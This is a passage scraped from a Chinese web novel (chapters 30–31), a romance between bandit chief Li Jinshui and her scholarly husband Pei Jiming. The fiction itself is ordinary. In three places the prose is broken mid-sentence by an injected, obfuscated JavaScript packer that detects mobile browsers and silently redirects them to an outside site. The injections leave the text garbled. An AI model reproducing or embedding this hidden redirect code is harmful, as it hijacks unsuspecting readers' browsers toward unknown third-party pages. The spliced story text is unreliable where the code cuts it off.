好在春盈寨的姐妹多受李百花恩惠,又都是知恩图报的人,所以即便嘴里骂着李百花不靠谱,但依旧是把小寨主当成了亲闺女养,衣食住行无不上心,甚至因为担心小金水日后像她们似的变成大老粗,还乔装打扮,给她套了个土地主的身份送到山下的青涯书院读书。 李金水刚下山的时候完全就是个泼猴,坐在课堂里抓耳挠腮,夫子讲的一个字都听不进去。偶尔将夫子气狠了,把她揪出去罚站,结果一堂课下来她能打五六个雀儿、做一箩筐蛐蛐儿,而且打的鸟里还有院长的斗雀画眉。若不是夫子在她开烤前全都收缴了,指不定将老院长气出个什么毛病呢。 于是作为重点看顾对象的李金水被“下放”到最后一排靠窗的位置,和巽班最沉默冷酷的冰霜美人裴霁明坐在一起,只盼着裴霁明能稍稍冷却一点李金水的精力,不然这房顶早晚要被她给掀了。 但可惜,夫子料到了裴霁明的冷漠会堵住李金水的废话,但没料到李金水还是个男女不忌的色胚子。猛不丁被调到冷艳姐姐身边坐着,她既怕自己猴急吓到人家,又忍不住偷看,于是一堂课扭头几十次,最后要不是裴霁明忍不了警告她再偷看就拧掉她的头。不然的话,李金水高低要落个落枕。 虽然裴霁明拒人于千里之外的冷漠已经很明显了,但李金水显然是个没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他舌尖心头都甜滋滋的,许久不曾吃过糖的少年有些恍惚,而脖颈处的冰凉又猛然将他拉回现实,只见乱哄哄的学堂里,绑着蝴蝶发带的小姑娘跪坐在自己身旁,仰着脸,细小的绒毛像日光下的水蜜桃一样,她捏着手帕,笨拙地给自己擦拭颈间的水珠。 李金水的眼睛里有光,藏着一整个春天的烂漫。 裴霁明的心重重跳空一拍,他扬起脖颈,沉默不语,只是安静地接纳春天的轻浮。 李金水在书院里朋友很多,休沐时到镇上玩也通常是姐姐妹妹一大堆人拥簇着,只不过她专一得很,不管和那些朋友玩到多晚,回书院时都要先绕到裴霁明的房舍前面敲敲窗户,告诉他自己回来了,还从街上给他带了一些稀奇玩意,有时候是斑鸠造型的哨子糖,有时候是憨态可掬的泥咕咕,还有的时候什么都没带,只是在他窗台上搁下一束沾着夜晚露珠的野花。 裴霁明一开始并不应她,但后来时间长了,也不自觉会给她留一盏灯,偶尔李金水闹到后半夜回书院,裴霁明还会冷着脸呵斥她将东西拿走,但等她搁下礼物回房睡觉之后,清冷胜雪的少年又会推开窗子,仔细地将残留着少女体温的小玩意攥进手心,痴痴地望着夜幕之上那轮孤月,他也觉得心里莫名满登登的,像朝霞划破月色,李金水蛮横地闯进本该属于他的,荒芜的人生。 在书院里混的时间长了,李金水骨子里土匪头子的气质愈发嚣张,但凡书院里有学子打架斗殴,她跑得比院长都快,到现场一拳一个先让冷静下来,然后才细细询问缘由,自己评判不了的就把裴霁明拉来,虽然通常情况下他并不想成为众人的目光中心,但跟李金水在一起,他也只能习惯。好在少年聪慧,往往三言两语便能切中要害,最后附在李金水耳边给出结论,由她来一锤定音。 当然李金水也有和别人打架的时候,前段时间镇上一股流氓在休沐日专门劫青涯书院的学子,被李金水碰上了,一挑十,把她们打得裤子都掉了,光着腚在街上哭爹喊娘地要报官。 但最后官府衙役赶来的时候,裴霁明鲜有地蹙眉,满眼愠色地将李金水护在身后,他将方才的经过原原本本地告知了衙役,眼见周围百姓围过来,又三言两语慷慨陈词地将李金水塑造成了惩奸除恶的少年英雌,听得巡捕头当成恨不得和李金水义结金兰,将她预定到府衙候补队。 经历过跌宕起伏的一天,青涯书院的少女们几乎将李金水拥簇为大姐头,围上来纷纷关心她的伤势,但李金水的目光却偏偏追随着丢下她独自回书院的裴霁明,瞧着冷美人单薄的背影,心里一阵荒凉,于是拨开围着自己的朋友连忙追着她跑过去。 “裴姐姐,因为我打人了不乖,所以你生我的气不和我玩了吗?” 一路上裴霁明都没有搭理李金水,她丧气地勾着脑袋跟在他身后上石阶。而走在前面的少年听见她这样问,本就酸涩的眼睛顿时被泪水浸透,他声音沙哑,含着郁气转身俯视着毛毛躁躁的少女,质问她道:“今日你一个人,而她们有十个人,如若那些流氓里有个真才实学的练家子,你觉得你还能站在这里和我撒娇吗?” “裴姐姐,裴姐姐,你别哭嘛,十个练家子也不是我的对手,你别哭。” 李金水蹦蹦跳跳地跑到裴霁明第一阶的台阶上,见他愿意搭理自己,欢天喜地地伸手去搂他的腰,下巴抵在他胸口,仰着脸傻笑。 30. 强娶女主的清冷阴鸷正宫夫郎后(二) 裴霁明自幼不喜与人亲近,寻常连个贴身的侍从都没有,可如今,嗅着少女身上独有的、被日光晒透的花果香甜,他竟生出了丝丝缕缕的渴望,抬起手,抗拒的姿态落到最后反而是揉了揉她的后颈。声音仍有些闷,但清冷胜雪的冷美人确实挑起眼尾晕开的薄红,嗔笑她:“说起来你也是个读书人,偏偏一身匪气,净给我招惹事端。” “那裴姐姐不喜欢我这样吗?” 喜欢......这两个字裴霁明说不出口,从来没被爱过的人是羞于表达爱的,他垂眸避开李金水的注视,但手指勾住少女被风扬起的发带,他只是沉郁地反问李金水:“那你是喜欢做你姐姐的我,还是单单只是我?” 李金水被裴霁明绕晕了,向来不能理解别人的话外之音,所以圈紧了冷美人的腰,她直愣愣地回答:“我喜欢你啊,喜欢裴霁明,喜欢你好看有学问,吃得少话也少,身上香香的骂起人来凶凶的........” “李金水.......”裴霁明的声音带着点颤,天际浓艳的晚霞拖曳着火焰肆意燃烧,他被一团香甜砸的晕头转向,俯身将莽撞的少女如珍似宝地拢进怀里,他又笑了,好温柔地说:“你一点都不会哄人。” “但我还是喜欢听你讲话。” 我还是喜欢.......你。 ------------------------------------- 因为裴霁明原本身子就弱,遭逢灭门之灾,又颠簸流离将近半年才在春盈寨安定下来,所以成亲后不久,裴公子就生了一场病。李金水急得下山将回春堂的大夫捉到山上,愣是好吃好喝地伺候了她半个多月,等到裴霁明身体好转一些才放大夫下山。 裴霁明在病中对李金水的行为也尝试过阻拦,夜半发热被她架到怀里灌汤药的时候,他抓着少女的手,指甲却深深陷进她柔软的手心,陀红的面颊黏着细汗,他虚弱地教训李金水:“大夫担任救死扶伤之责,你怎可把她当成物件一般掳到山上?镇里的人知道了,又该如何看你?该如何看待春盈寨?” “爱怎么看怎么看.......”李金水嘟囔着反驳,伸手抿了把他脸上的汗珠,将吹凉的汤药喂到裴霁明嘴边,她任性地说:“我反正只管你,你好就是一切都好。” “你.......”裴霁明怔怔地抬眼看着她,灯光下李金水的目光融融,还像一片香甜的橙子海,就着她的动作将汤药喝了个干净,裴霁明睫羽颤栗,凤眼盈盈一片水雾,他叹了口气,到底没有舍得再骂李金水一句。 “你呀,笨。” 他对她总是这样,似嗔又怜,藏了无限沉溺的欲海。 等到裴霁明身体好了之后,李金水又开始拉着他晨练,每日鸡鸣之后就把小公子从床上薅起来,扯着他到山顶爬台阶和踢毽子。原本裴霁明觉得傻,但奈何整个春盈寨百十号人每天晨起时都这样浩浩荡荡地锻炼,他自然也不好意思再矜持,只能挽起袖子陪李金水一起发疯。每每出一身汗,站在山顶气喘吁吁地望着朝阳升起,晨雾散尽,忽然地,心底萦绕地关于裴氏和朝堂的一切纷争也似乎渐渐云霄雨霁了。 虽然不知道明天怎么样,但余光偷偷望着身侧的李金水,他总想,至少今天有个好天气。 李金水和姬御珂时常保持着通信的习惯,她在信里一直叮嘱李金水要好好照顾裴霁明,五年之后他将对她翻盘称帝的事业大有作用。李金水觉得这姐们神神叨叨的,但奈何人家是天道之女,她也不好说什么,于是每次通信都兢兢业业地告知裴霁明又吃了哪味药、又学会了哪个兵器、又帮春盈寨改善了哪种农具.......但姬御珂却并不关心,回信直接告诉李金水她不想听这些废话,只要裴霁明好好活着就行。 可是.......李金水提笔,落在信纸上却不知道怎么写下去。 裴霁明是你的未来夫郎呀?她想着揪着姬御珂的领子质问她:你凭什么把裴霁明说的像个不值钱的猫狗一样?他是你的夫郎,你必须好好爱他呀。 信纸被揉成一团,李金水又重新展开一张,收敛所有情绪重新写好回信寄给姬御珂。她站在窗前望着信鸽的身影隐匿在夜色中,裴霁明端着甜酒醪糟走进来,漫不经心地给她整理乱糟糟的书案,然后笑着问她再看什么。 “我在看月亮上有没有嫦娥仙子。”李金水顺势坐在他收拾好的地方,捧着瓷碗大口大口地吃起来,一会就吃完了,巴巴地将空碗递给整理书架的裴霁明。 他睨她一眼,冷漠地拒绝:“夜间食多对胃不好,就这一碗,厨房被我命人锁上了,别想着偷吃。” 李金水泄气,将碗放回托盘里,因为吃过甜酒醪糟,脸颊晕开闷闷的绯红,她站起身,走到裴霁明身边抓住他的手腕,将小公子辖制在自己和书柜之间。李金水逼视着他,问:“你不开心,为什么?裴霁明,你为什么又不开心?” “我开不开心对你很重要吗?”裴霁明勾起唇瓣,眸子晦暗的情绪积蓄,而笑容却有些讥讽,他捏紧了自己的手指,垂眼看着霸道的李金水,扣烂了手心才压抑着没有弯腰抱住她。 “当然,你的开心对我很重要,我只想要你开心。” “是吗?那你还记得你从前在书院对我说过什么吗?” “什么?”李金水记性不好,她只记得自己对很多人多说过喜欢,温柔端方的柳师姐、调皮仗义的许斯予,还有耐心教导她的武夫子,甚至饭堂多给她打一勺米饭的陈大娘........她多说过无数遍喜欢,只不过在她鲁莽而浮躁的少女时期,最喜欢也最恒久的,只有追求裴霁明这件事。 美人如花隔云端,她越是抓不住他的心,她就越渴望乘风去拥抱他的皎洁。 “算了.......”裴霁明借着月色安静地凝视着李金水,少女滚烫香甜的气息几乎要将他烫伤,如若可以,他真想掐着她的脖颈质问李金水,明明是你从前不停地说:我才不信什么仙子神佛,反正肯定没有裴姐姐好看,我最稀罕裴姐姐了。 李金水,你说过的最喜欢,凭什么可以忘掉?我原本是那样饥肠辘辘满心风霜地站在那,是你非要冲上来抱住我填满我,是你啊李金水!可如今呢,为什么你娶了我却又不看我?为什么偷偷和别人通信?为什么从来不主动找我不再说喜欢我?!!!你......你为什么要变心,而我却偏偏越来越深爱你! 一切尖锐的、疯狂的、嘶吼的质问都被裴霁明咽下,他眼尾拖曳出暗红,推开迷迷糊糊的李金水,他端着空碗离开书房,山上的夜凉如水,身后的门吱呀关上,李金水并没有追上来。 “呵,”裴霁明不自觉笑出声,泪滴无声坠在黑夜里,他也抬头望着一轮明月,满心煎熬灼疼,喃喃道:“真是.......真是要疯了,李金水。” 原本李金水娶这个手不能提肩不能抗的文弱娇公子,老柴她们就不太满意。尤其还要兴师动众地跑到京城救人,和官府对着干,简直让春盈寨的姐妹们直接对裴霁明的印象跌到谷底,只觉得他就是一个大麻烦。 但怎奈那小子实在容貌动人,惹得小寨主一腔痴情,拼了命也要把人从禁军刀下抢过来。老柴只能跟着李金水一起疯,谁让她娘李百花是她过了命的姐妹呢。 后来裴霁明和李金水成婚后,小寨主反而对他冷淡下来,虽然仍旧万事周到,但显然少了之前眼睛里那些亮晶晶的爱意,对待他也像寻常的伙伴一样随意,并没有面对心上人的热切和谨慎。老柴以为是李金水将美人吃干抹净之后就嫌弃人家了,还特意找她谈心,告诉她做大女子不可以薄情寡义,不能仗着女子身份随意糟践 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125217|149889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男子。但哪想李金水反而一脸委屈地扑倒老柴怀里,呜呜啦啦地哭得狼狈,嘴里念念叨叨的,反正只有一句话:“没用的,没用的,月亮不是我的........” 见李金水这样,老柴也不好再插手他们之间的事情,只不过后来裴霁明不论是在处理春盈寨的财务收治还是替春盈寨研制改进武器农具,都收获了寨子上上下下姐妹们的忠心。毕竟小寨主虽然英武勇敢,但相较于老寨主,还是过于鲁莽和好斗,像一把开了刃的宝剑,锋利却伤人。而裴霁明的出现,就像是最契合的剑鞘。他总能适时地牵制住小寨主的情绪,消解她旺盛的精力,帮助她冷静地作出最适合的决定。 她们当然佩服裴霁明,但更佩服的,还是当初力排众议让裴霁明掌管春盈寨内务的李金水,当初老柴她们几个老人都不愿意让一个外男插手内务,既不信任他的能力,更不相信他的诚心。但偏偏,李金水硬要牵着他的手走到众人面前,少女双目明亮,带着一往无前的朝气和果决,举起身侧小公子的左手,笃定地宣布:“有霁明这只手,就能保春盈寨十年荣华。” “我知道你们不相信霁明一个男子能做出什么功绩,但在场反对他的所有人,你们都不了解他,你们不了解霁明幼时苦读的寒窗和男扮女装的艰苦,你们没有读过霁明读过的书,你们没有走过霁明走过的路........所以,你们的反对都立不住。我了解裴霁明,我了解他的凄苦和野心,读过他的书,走过他的路,所以我相信他,只有我一个人我也坚决相信他。” 老柴不知道当初李金水这番话究竟是真心还是话术,但她抬头的时候,却刚好看见,那素来清冷孤寂冰雪一般的小公子,偷偷湿红了眼,余光黏腻而痴缠地落在小寨主身上。 他是个疯子,老柴在那一瞬间觉得,他大概喜欢小寨主要喜欢疯了。 李金水娶裴霁明的第二年,开始有姐妹们催小两口赶紧要个孩子,但每每提起这个话头,李金水都会岔过去避而不谈,原本老柴她们以为是李金水年纪轻,又得了个美娇郎,想要再多快活几年。 可是谁料到,在铲除不断和春盈寨起冲突的青云寨之后,李金水会亲自骑马,怀里靠着青云寨寨主的夫郎,而那夫郎又抱着个襁褓里的婴孩,远远看过去,还以为他们三个才是恩爱圆满的一家人呢。 裴霁明和老柴守在后方,看到李金水载着娇郎幼子,身后跟着神气洋洋的手下们回山的时候,脸色都变得有些复杂。尤其是老柴,右眼止不住地跳,而身侧的裴霁明面色冷漠,只有攥到失血的指尖泄露了他的惊怒。 声音讥诮,裴霁明看着贴心地将男人和孩子抱下战马的李金水,笑问道:“我倒是不晓得妻主还有夺人夫的癖好?怎么?需要我现在坐上堂前,喝这位哥哥一杯妾室茶吗?” “你别乱说。” 李金水皱眉,不喜他的这种阴阳怪气,扶着虚弱的云浮厌,扭头吩咐手下们为他和怀里的婴儿收拾出一间厢房。 “哦,对呀,是我说错了,这位哥哥的妻主新丧,还需要为妻守丧三年,不能另嫁他人呢,真是可惜。”裴霁明气得切齿,呼吸微微急促,指尖几乎抠破手心,但偏偏面色笑意更甚,艳丽逼人。 云浮厌因为裴霁明那句守丧,面色迅速惨白起来,手腕长年被铁链捆着磨出的伤口也洇出血渍,李金水见他摇摇晃晃,便将男人直接打横抱起。 余光扫了一眼站在暗处神态莫测的裴霁明,有些恼怒,她难得呵斥道:“闭上你的嘴!裴霁明,你怎能说出这样的话?三年前若不是我将你从那都尉手中救下,你又觉得你的处境能比云浮厌好上多少?” 李金水抱着男子转身,沾血的披风扫开一片薄雪,裴霁明静静地凝睇着她踩在雪地里的脚印,目光幽深,指尖一滴血珠滴落,像暮色里凌虐的梅花。 31. 强娶女主的清冷阴鸷正宫夫郎后(三) 这大概是李金水第二次和裴霁明吵架,她性格大开大合,寻常之事难得放在心上。当初在青涯书院,裴霁明呵斥约束于她,李金水也是乖乖听训,而后带他骂完,在赖皮地圈着美人的腰撒娇,仰着脸甜滋滋地叫他好姐姐,蹭得裴霁明眼尾鼻尖都洇开薄红,抵着她肩膀的手怎么都使不上劲,只能软着身子任她黏糊糊地痴缠。 原来他以为和李金水这样的小女君,一辈子都生不起来气。要冬末学子们需要返乡过年的时候,家中自幼照顾他的孙叔来信说要到青涯书院陪他过年。裴霁明大概猜到,裴家阖族都看不上他一个侧夫之子,公然拒绝嫁给老侯爵做妾,还逃出家门男扮女装读书,妄想着考进宫里做男官。所以即便是他回京城,也只会被裴家的下人绑起来再加给一户换彩礼。 好在孙叔是裴霁明在世唯一的亲人,他对于和孙叔团聚十分期待,连带着书院年考那几日,李金水和其他学子聚在一起愁眉苦脸地复习、押题,甚至合谋去夫子的院子里偷答案,被裴霁明发现的时候,他都没有生气,反而撩起眼尾,笑眯眯地朝少女招手,把她带到怀里,远离了这些狐朋狗友。 牵着她到自己的房舍里复习,裴霁明靠在窗前给她研磨,忍不住就分享了孙叔要来书院陪他过年的消息。李金水听完眼睛瞪圆,抓着裴霁明的手,比他还惊喜地说:“那放假之后,裴姐姐没地方去,和我一起回家好不好?带孙叔一起,我们团团圆圆地过年!” 裴霁明被她这句团团圆圆惹得眼酸,心里许久不曾有那样的慰帖温暖,理智让他下意识地拒绝,“可是你也有家人,骤然领陌生人回家,如何与令尊交代?”只不过说着这话,少年的手紧紧攥着李金水,手心冒出细汗,滑了一下又慌忙牵紧,始终没有松开。 “我母父都不在家,只有几个姨母照看,家里也空得很呢。我最喜欢裴姐姐了,有裴姐姐陪着我过年,才不冷清呢。” 李金水一番话半真半假,说要写字,又蹭到裴霁明怀里赖着,笑眯眯地哄他,亲亲热热地去闻他发间凛冽的香气。 少年被她湿热的气息吹得耳朵痒,倒在书案上任她胡来,腰腹间的热流往下,使得他羞耻地闷哼出声,裴霁明可怜地侧了侧身子,怕顶撞了李金水,从而泄露了自己是个男子的秘密。 但他偏又舍不得离她太远,双手拖着女孩的腰背,颊边绯红,眼神潮湿,冲她笑了笑,“好,那我和阿水,就一起过我们的第一个元辰。” 原本李金水和裴霁明约好考完最后一门明经,会在书院门口等他,到时候家中有人牵着驴车来,带着他们的行李和书本一趟拉回去。但那日老柴匆匆忙忙感到书院,将正在考试的李金水拽出来,十万火急地说明了春盈寨和山脚下一群流寇起了冲突,因为对方狡猾难缠,损耗了好些人手也没有剿灭干净,不仅春盈寨,镇上好些人家和男子都遭受了流寇的强掳,现在寨子里乱成一团,实在需要寨主坐镇,商讨出个策略来。 李金水听闻情况如此严重,心里也着急,拽住一个提前考完的同窗,让她等着裴霁明,告诉他先待在青涯书院等她五六日,家里急事处理妥当之后,就亲自来接他和孙叔。 原本那同窗和李金水一起吃过酒,平常多受她照拂,于是一口一个放心地应下了差事,只不过不凑巧的是,那日同窗家里查到她在云水楼狎女支的破事,家中长姐拿着大棒子追到书院将她捉回家挨揍。等到那倒霉同窗想起李金水的嘱咐时,已经被锁在家里,屁股开花哪里去不了了。 等到李金水处理完流寇,顾不上左肩刀伤未愈,便套了牛车到青涯书院接裴霁明,但距离年考那日已经过去十多天了,再回到书院,裴霁明的房舍木门紧闭,她翻墙头跳进去,趴到他的窗前,看着美人冷着神色伏在书案上蹙眉写信。 屋内的炭火快要熄灭了,裴霁明没有银钱买新碳,便将旧衣搭在肩头取暖。他近来大喜大悲,身子遭了风寒,反反复复低烧,精神也不好。如今失约的李金水还趴在窗前求他原谅自己,裴霁明浑浑噩噩的脑子里想着突然没了音讯的孙叔,躁郁攻心,竟是剧烈地咳嗽,弯腰呕出一口血水泼在信纸上。 总是离圆满一步之遥,裴霁明几乎要恨了,为什么?答应好一切过年的心上人要无缘无故地失约?而他这世上最后一个亲人也吉凶难测?若有天道,难不成是真就恨他到如此吗?先喂蜜糖,再灌砒霜。 裴霁明的胸腔像被撕裂了一样,视线隔着眼泪模模糊糊地看到李金水撞开门跑到屋里,她将他抱到怀里,心疼地捋了捋他黏在颊边的碎发,又脱下自己的狐皮大氅将他拢住。 裴霁明没有声音,只是眼泪盈满眼眶,他侧过头,合上眼任凭泪水无声湮没在发丝之间。 “你滚,李金水,你滚啊!” 裴霁明也是在情窦初开的年纪,少年无法解释自己复杂的身世和酸涩的心思,明明年考那日,他一个站在书院门口,等到月悬中天,积雪没过小腿,才踩着一地的心碎,回到房舍封锁自己。那时候他恨李金水恨得咬牙切齿,但如今被她拢在怀里,闻着温暖香甜的气息,他又想蜷成一团,贴着少女委屈地大哭起来。 他恨自己的软弱,裴霁明见过太多菟丝花般孱弱男人的下场,所以他用功读书,就是想要不依靠女子,掌握自己的命途。 所以,少年深吸了一口气,拼尽所有力气,用最狠毒的话语,毫不客气地朝着自己这辈子唯一心动的少女刺去。他冷笑,被泪水浸红的凤眼中是明晃晃的讥讽,“你没有自尊吗,李金水?还是说你真的脑子有病,你听不懂我讨厌你,我要你滚吗?!” “可是你现在需要看大夫,裴姐姐,你脸色很不好,这个屋子里也很冷,你和我一起回家看病好不好?” “裴姐姐.......呵,你觉得我是你的好姐姐?”少年又像听到什么笑话一样,跪坐起来,扒开了自己的衣领,露出平坦的胸膛,他不再压细嗓音,沙哑低沉的笑声里满是讥讽,“可惜了,李金水,你连你喜欢的人都看不清楚,竟然还敢妄自许诺?你怎么敢啊,你配吗?!” 少年的情爱难免极端,甜蜜的厮磨掺杂着暴烈的争吵。 李金水骤然被裴霁明的男子身份冲击,愣在原地反应好一会,被他声嘶力竭的质问刺激到,也暴躁起来,但脑子里乱糟糟的,不知道该怎么回答他,索性甩手离开,跑到雪地里平复自己的心情。 而屋子里的裴霁明望着她隐匿在黑夜里的背影,挺直的脊梁忽然塌了,扶着桌子倒在冰凉的地上,少年将脸埋在李金水扔掉的大氅里,良久浑身战栗地呜咽出声。 “不要......不要我,李金水,你也不要我了.......” 那晚李金水在街上溜达,遇到友人拉她去水云楼喝酒听曲,新来的小倌往她怀里蹭,李金水罕见地没有推开,反而低头凑在小倌的颈侧嗅了嗅,有脂粉气和酒气,不难闻,但李金水觉得不对,怎么都不对。 她给自己灌了一壶酒,发现虽然裴霁明是男子,她还是喜欢他。其实有些事情早就注定了,那个傍晚,裴霁明红着眼睛站在台阶上问她:“你是喜欢做你姐姐的我,还是单单只是我?” 当时李金水的回答没有思考,但却作数。她自幼在春盈寨长大,姨母们也未曾给小寨主设限,她从不讲规矩,所以喜欢的人是男人还是女人,对李金水来讲,这并未有差别。 她喜欢的是裴霁明,很简单,年少而知慕艾,或许李金水的喜欢像她的学问一样浅薄,但这并不代表她的喜欢就是轻飘飘的,不热忱。 大醉一夜,第二日李金水放心不下裴霁明,带着大夫去青涯书院给他瞧病的时候,却发现他的房舍空了,连行李和书籍都没带。李金水心觉蹊跷,便派春盈寨的人去查,竟然查出裴霁明原是京城贵族裴家的庶长子,因为京城安王作乱,裴家暗中站队安王,所以平叛后被老皇帝下旨抄家夷族。 只怕裴霁明也........ 打探消息的手下没忍心说下去,而牵着马愣住的李金水扑通坐到地上,捂着脸缓了一会,又突然像下定决心一般,翻身上马,对老柴吩咐:“带上二十个轻功最好的姐妹,跟我一起去京城劫人!” 李金水随她娘李百花,又犟又倔,说一不二。所以即便不赞同,老柴她们也只能跟着她去京城,期盼着小寨主见到裴公子的尸首后能死心。 可惜世事难料,原本以为必死无疑的裴公子,竟然躲在了后院的枯井里,等来了李金水溜到裴府的那天。 老柴还记得,她和小寨主摸到裴府后院,就听见女人的狞笑声,她们顺着找过去,发现是到裴府收尾的都尉碰巧撞掉了盖在枯井上的蓬草,然后发现了井下的裴霁明,让人拽上来之后,对苍白脆弱如琉璃的美人起了歹念,想要在院子里强要了他。 那日的情形根本没有给人反应的时间,等老柴去拦李金水的时候,她的刀已经架在了都尉的脖颈上。裴小公子被女人压在身下,衣衫凌乱地望着突然出现的小寨主,原本干枯布满血丝的眼睛忽然就动了动,继而滑过盈盈泪水,他嘶哑地笑出声,泪水淌满了整张脸,顺着脖颈往下滑。 都尉的血溅在他脸上,李金水将女人的尸体踹翻,伸手去扶裴霁明,但他却夺走了她手里的剑,踉跄地爬起来疯狂地捅了尚未咽气的女人。直到李金水冲上去攥住了少年沾满鲜血的双手,将他强硬地拽进怀里,一路上的风霜尘土都化成无声的安慰裹住了战栗的少年。 李金水不敢想,如若自己路上多耽搁一刻,那都尉是不是...... 她忽然又庆幸起来,眼睛酸得要掉眼泪,解下自己的披风拢住裴霁明,他像个了无生息的破旧玩偶任凭李金水摆弄,但李金水趴在少年怀里,冰凉的手指战栗着,却哭得给他系不出一个结。 另一只血腥冰凉的手裹住李金水的手,只是和心上人吵了一架,再见面时就已经失去所有的少年倾身抱住嚎啕痛哭的少女。京城的雪大,叫嚣着要压垮他们的脊梁。 但裴霁明不甘心,抬手擦干净李金水脸上的泪水,他看着她澄澈明亮的眼睛,唇畔弯了弯,眼泪无声息地落。 “别哭,阿水,你若跪下,我这辈子才是真的站不起来了。” 这次李金水和裴霁明的冷战持续了一个多月,快到年关也不见缓和。她难得有这么大的气性,一向是个记吃不记打的祖宗,老柴也拿不准小寨主到底哪来的骨气,晾了裴公子这些天,莫不是真的瞧上了那寡夫和幼子?! 众人猜疑不断,可惜李金水全然没有意识到所谓的冷战,因为近来姬御珂正在暗中拓展势力,劝说她去青州接任州丞,屯粮造器,为两年后的皇位之争做准备。 她承认自己有些心动,毕竟正是意气风发的年纪,李金水也不愿一直守着母亲的功业,她自然也想过成就自己的一番天地。所以正在和姬御珂商量联系明年接任青州的一系列事宜,没日没夜地恶补青州的内政人文以及地理环境,所以对于寨子里众人的八卦议论,她自然没精力去管。 不知不觉到了除夕那天,早早地,老柴就拉着李金水到山顶放鞭炮,在晨雾和爆竹声当中,她刚想开口和老柴商量去青州的事情,远远地见裴霁明披着大氅爬到山顶,下意识闭上了嘴,继续看着快速爆破的鞭炮没有出声。 “寨主,今年的收支情况都录在了账本里,裴某放到了您的书房,记得得空查看查看。” 裴霁明站在李金水右后方,声音柔柔的,虽然脸色依旧冰凉,但喊她的时候确实恭敬妥帖。李金水不自在地搓了搓胳膊,点头胡乱应下,熬到鞭炮燃尽,就和老柴一起下山,留他自个站在原地欣赏风景。 鞭炮燃尽之后就只剩满地鲜红的纸屑,山顶上的风大,吹开裴霁明身上大氅的衣角,他臂弯里挂着一件水红色的披风,原是这一个多月以来夜夜熬在灯前给李金水亲手缝制的。 裴霁明虽然离经叛道,但作为裴氏子,自幼的针线活也是由宫中的师傅亲自教授的,所以他来缝制这件披风,不仅针脚漂亮,还特意在内衬里绣了个安符咒,祈祷李金水长乐安康。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125218|149889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 只可惜大概她也没料到裴霁明会亲自给她做衣裳,所以头也不回地下山了。抱紧怀里的披风,裴霁明呼出一口白汽,眼尾被风吹得泛红,湿润润的却始终没掉眼泪,他不会承认自己输了,他想,今晚守夜再给李金水吧。 她......她会陪着自己一起守夜吧? 晚上春盈寨众人聚在一起,摆了十几桌席面,大家一起欢笑打闹着吃过了年夜饭,又豪气地放了一刻钟的烟花,然后快到子时,才兴尽散开。 李金水习惯晚睡,便去书房继续研究青州的地图,而云浮厌抱着孩子顺路跟着她一起回厢房,她替他们提着灯笼,一路上喁喁细语,从背后端看,两个人倒还真像是一对亲密无极的小妻夫。 只可惜,裴霁明独自提灯跟在后面,咯吱咯吱的踩雪声好似他渐渐被攥紧的心脏,他恨不得冲上去提刀捅死云浮厌,装可怜装柔弱心机狡诈的浪荡货,都嫁人生子了还来和他抢妻主! 他实在无法共情这个被强迫成婚生子的男人,因为触及到裴霁明绝对喜欢的人,理智往往叫嚣着败给情感。 裴霁明知道自己不能再惹李金水生气了,所以等到李金水将云浮厌送回房之后,才在她回书房的路上堵住了人。 原本李金水没看到走廊站了个人,骤然被裴霁明出声吓了一跳,后退几步,发现他提灯的手冻得通红,身体又下意识走上前,接过灯笼,然后牵住裴霁明的手塞到自己袖子里暖着。 “这么冷的天,不赶紧回去睡觉,在这站着做什么?” 她带着他往书房走,漫不经心地问着,好像这两个多月的冷战都是裴霁明自己一个人的擂台。他眼睛又酸了,但手心暖和,心也暖融融的,舍不得再和李金水闹别扭,于是也用寻常的语气回道:“自从裴家出事之后,我们都是一起守岁的,今年也应该这样,不然我不安心。” “这倒是我忽略了。”李金水笑盈盈地拉着他走进书房,暖和的炉火驱散了身上的寒气,裴霁明熟捻地将她的披风解下来,又给李金水理了理领子,然后才脱掉自己的大氅,将一直藏着的新红披风递给她。 “新给你做了一件,省得你整日说娶我娶亏了。” 李金水惊喜地接过,手指拂过柔软的布料和精美的刺绣,抬眼看着裴霁明,目光雀跃,“我不过开个玩笑,你倒好,日日放在心上。霁明,这世上烦恼万千,若件件都拿来细品,那可怎么活啊?” 裴霁明知道李金水又在开导自己,笑了笑坐到炉火替她温酒,说:“我知道自己不比其他男子温柔体贴,所以既委屈了你,当然要想方设法补偿。而且,”说着少年挑了挑眉,有些骄矜地看着李金水,笑道:“我江城裴家子,可不止满腹经纶,便是服侍妻主的功夫,寻常人才也是比不上的。” 李金水微怔,难得见裴霁明这般狡黠鲜活的少年气,她心口有些热,而后装作整理披风的样子,避开他的视线,笑吟吟道:“那感情好,倒是我捡了个大宝贝哈哈哈哈哈。” 屋内气氛温暖,裴霁明倒了两盏酒,又拿过毯子,披在自己和李金水肩头,像少年时期在书院时一样,两个人依偎着一起研究青州的地图。她将自己的想法合盘托出,但又有些顾虑,所以讪笑着找补:“当然,我做学问不行,打架有一手,做青州州丞,若是闯了篓子,就只好卷铺盖继续做土匪了。” 